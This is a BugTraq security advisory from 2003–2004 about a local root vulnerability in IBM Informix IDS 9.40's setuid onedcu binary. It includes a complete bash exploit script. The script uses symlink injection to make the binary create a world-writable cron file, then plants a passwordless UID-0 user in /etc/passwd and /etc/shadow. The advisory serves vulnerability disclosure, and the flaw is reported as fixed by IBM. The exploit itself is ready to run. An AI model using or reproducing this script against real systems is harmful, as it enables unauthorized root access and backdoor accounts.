BugTraq
----------========== OPEN3S-2003-08-08-eng-informix-onedcu ==========---------- Jan 29 2004 09:16AM
pask open3s com


----------========== OPEN3S-2003-08-08-eng-informix-onedcu ==========----------

Title: Local Vulnerability in IBM Informix IDSv9.40 onedcu binary
Date: 08-08-2003
Platform: Only tested in Linux but can be exported to others.
Impact: Users with exec perm over ./bin/onedcu can create files
with 666 mode and owned by root.
Author: Juan Manuel Pascual Escriba <pask (at) open3s (dot) com [email concealed]>
Status: Solved by IBM Corp.

PROBLEM SUMMARY:

There is a write permisions checking error in onedcu binary that can be used by local
users with exec perm over onedcu to write any file owned by root with mode 666.

DESCRIPTION

onedcu is installed with 6755 perm and owned by root.informix in my default installation

[informix@dimoni onedcu]$ ls -alc /home/informix-9.40/bin/onedcu
-rwsr-sr-x 1 root informix 1066468 Aug 8 23:39 /home/informix-9.40/bin/onedcu

The binary does'nt drop privileges before writing the log and writes \001 file owned by root:

IMPACT:

Easy to overwrite or create new files owned by root (.rhosts, cron files) via link
injection.

EXPLOIT

#!/bin/bash

ONEDCU=/home/informix-9.40/bin/onedcu
CRONFILE=/etc/cron.hourly/pakito
USER=pakito
DIR=./trash

export INFORMIXDIR=/home/informix-9.40/
export ONCONFIG=onconfig.std

if [ -d $DIR ]; then
echo Trash directory already created
else
mkdir $DIR
fi

cd $DIR
if [ -f ./"\001" ]; then
echo Link Already Created
else
ln -s $CRONFILE `echo -e "\001"`
fi

umask 000
$ONEDCU &
kill -9 `pidof $ONEDCU`

echo "echo "#!/bin/bash"" > $CRONFILE
echo "echo "$USER:x:0:0::/:/bin/bash" >> /etc/passwd" >> $CRONFILE
echo "echo "$USER::12032:0:99999:7:::" >> /etc/shadow" >> $CRONFILE
echo " "
echo " This vulnerability was researched by Juan Manuel Pascual Escriba"
echo " 08/08/2003 Barcelona - Spain pask (at) open3s (dot) com [email concealed]
echo " "
echo " must wait until cron execute $CRONFILE and then exec su pakito"

STATUS

Reported to IBM security team at 11th of August 2003

See more infomartion about this vulnerability and workaround at:
http://www-1.ibm.com/support/docview.wss?uid=swg21153336

This vulnerability was managed in an efficient manner by Jonathan Leffler
from IBM Informix Database Engineering Team.

--------------------------------------------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba pask (at) open3s (dot) com [email concealed]
Barcelona - Spain http://www.open3s.com

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus